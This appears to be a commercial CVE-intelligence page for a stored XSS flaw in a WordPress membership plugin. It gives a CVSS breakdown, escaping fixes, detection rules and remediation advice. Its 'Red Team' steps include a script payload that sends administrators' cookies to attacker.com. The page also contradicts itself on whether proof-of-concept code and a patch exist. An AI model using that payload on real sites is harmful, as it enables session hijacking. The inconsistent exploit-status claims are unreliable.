☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Cozmoslabs logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 6.5 CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-31088

CVE-2025-31088 Cross-Site Scripting in Cozmoslabs
📅 PUBLISHED: 2025-03-28 10:15 UTC 🔄 UPDATED: 2026-08-12 14:52 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.28%
👁️
0.28% probability
6.9× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Romania License: Commercial
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 6.5
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: L Availability Low
6.5
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-31088 is a Stored Cross-Site Scripting (XSS) vulnerability in the Paid Member Subscriptions WordPress plugin by Cozmoslabs, affecting versions up to and including 2.14.3. This flaw allows an authenticated attacker with subscriber-level privileges or higher to inject malicious scripts into web pages generated by the plugin. When an administrator or other user views the affected page, the injected script executes in their browser, potentially leading to session hijacking, credential theft, or defacement. The vulnerability stems from improper neutralization of user-supplied input during web page generation. No public exploit code or proof-of-concept is currently available, and no patch has been released by the vendor.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability resides in a WordPress plugin distributed via the official WordPress plugin repository. Users who installed the plugin directly from the WordPress dashboard or via the repository are affected. No third-party package manager (NPM, PyPI, Go, Ruby) is involved. The risk is limited to the WordPress ecosystem.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
  • Base Score: 6.5 (Medium)
  • Attack Vector: Network (AV:N)
  • Attack Complexity: Low (AC:L)
  • Privileges Required: Low (PR:L) – requires authenticated user with subscriber role
  • User Interaction: Required (UI:R) – victim must visit the affected page
  • Scope: Changed (S:C) – vulnerable component impacts resources beyond its security scope
  • Confidentiality Impact: Low (C:L)
  • Integrity Impact: Low (I:L)
  • Availability Impact: Low (A:L)

Threat Level: Medium. Exploitation requires authentication and user interaction, but the stored nature of the XSS means a single injection can affect multiple users over time.

Deep Dive & Mechanics

The vulnerability exists in the paid-member-subscriptions plugin, specifically in how it handles user input for subscription-related fields (e.g., subscription name, description, or custom fields). The plugin fails to sanitize or escape user-supplied data before storing it in the database and later rendering it on the WordPress admin or frontend pages.

Attack Flow:

  1. An authenticated attacker (subscriber or higher) navigates to a page where they can input data (e.g., editing their profile or subscription details).
  2. The attacker injects a malicious payload, such as <script>alert('XSS')</script>, into an input field.
  3. The plugin stores the payload in the WordPress database without proper sanitization.
  4. When an administrator or another user views the page that displays this data (e.g., the subscription management page), the payload executes in their browser.
  5. The attacker can then steal cookies, session tokens, or perform actions on behalf of the victim.

Root Cause: The plugin uses functions like echo $value or the_content() without applying WordPress escaping functions such as esc_html(), esc_attr(), or wp_kses().

Vulnerable vs. Patched Code

Since no patch is available, the following shows the vulnerable pattern and the recommended fix.

Vulnerable Code (example from plugin):

// In a template file or shortcode handler
echo '<div class="subscription-name">' . $subscription_name . '</div>';

Patched Code (recommended fix):

// Properly escape output
echo '<div class="subscription-name">' . esc_html( $subscription_name ) . '</div>';

The vulnerable code directly outputs user-controlled data without escaping, allowing HTML/JavaScript injection. The patched version uses esc_html() to neutralize any HTML tags.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • WordPress installation with Paid Member Subscriptions plugin <= 2.14.3
  • Authenticated user account with at least subscriber role
  • A page or form that accepts and displays user input (e.g., subscription name field)

Exploitation Steps:

  1. Log in as a subscriber.
  2. Navigate to the profile or subscription edit page.
  3. In a text field (e.g., "Subscription Name"), enter the following payload:
    <script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script>
    
  4. Save the changes.
  5. Wait for an administrator to view the affected page (e.g., the subscription list in the admin panel).
  6. The admin's browser executes the script, sending their cookies to the attacker's server.

Note: No public exploit code is available; this is a conceptual demonstration.

Blue Team (Detection & Defense)

Detection:

  • Monitor for unusual input patterns in subscription fields (e.g., <script>, onerror=, javascript:).
  • Use Web Application Firewall (WAF) rules to block common XSS payloads.
  • Review WordPress logs for suspicious user activity (e.g., subscribers editing subscription names).

Defense:

  • Apply input validation and output escaping on all user-supplied data.
  • Use WordPress built-in functions like sanitize_text_field() for input and esc_html() for output.
  • Restrict user roles to limit who can edit subscription details.
  • Implement Content Security Policy (CSP) headers to mitigate XSS impact.

Indicators of Compromise (IOCs)

  • Network:
    • Outbound HTTP requests to known malicious domains containing cookie data (e.g., GET /steal.php?cookie=...).
    • Unusual referrer headers from WordPress admin pages to external IPs.
  • Host:
    • Presence of <script> tags or event handlers in the wp_postmeta or wp_options database tables.
    • Modified subscription names or descriptions containing JavaScript.
  • Logs:
    • WordPress debug log entries showing unexpected HTML in subscription fields.
    • Web server access logs with POST requests to subscription edit endpoints containing encoded XSS payloads.

Detection Engineering

YARA Rule

rule CVE_2025_31088_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in WordPress Paid Member Subscriptions plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-31088"
    strings:
        $xss_payload1 = /<script[^>]*>.*?<\/script>/is
        $xss_payload2 = /on\w+\s*=\s*['\"].*?['\"]/is
        $xss_payload3 = /javascript\s*:/is
    condition:
        any of ($xss_payload*) and filesize < 10KB
}

Sigma Rule

title: Stored XSS in Paid Member Subscriptions Plugin
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS attempts in WordPress subscription fields
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 
            - 'paid-member-subscriptions'
            - 'pms'
        cs-uri-query|re: '(<script|onerror|javascript:)'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in subscription descriptions (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-31088 Stored XSS in Paid Member Subscriptions";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"paid-member-subscriptions"; http_uri;
    pcre:"/(<script|onerror|javascript:)/i";
    sid:1000001;
    rev:1;
    reference:cve,2025-31088;
    priority:2;
)

Remediation & Mitigation

Immediate Actions:

  1. Disable the plugin until a patch is released by Cozmoslabs.
  2. Restrict user roles to prevent subscribers from editing subscription details.
  3. Implement a Web Application Firewall (WAF) with rules to block XSS payloads.

Long-term Fix:

  • Apply output escaping using esc_html(), esc_attr(), or wp_kses() in all plugin templates.
  • Use WordPress input sanitization functions like sanitize_text_field() before storing data.
  • Monitor the plugin's official page for a security update.

Workaround:

  • If disabling the plugin is not possible, manually edit the plugin files to add escaping functions (e.g., wrap all echo statements with esc_html()).

Valters IT
Securing WordPress, one plugin at a time.

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"Paid Member Subscriptions"
http.html:"paid-member-subscriptions"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-31088/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.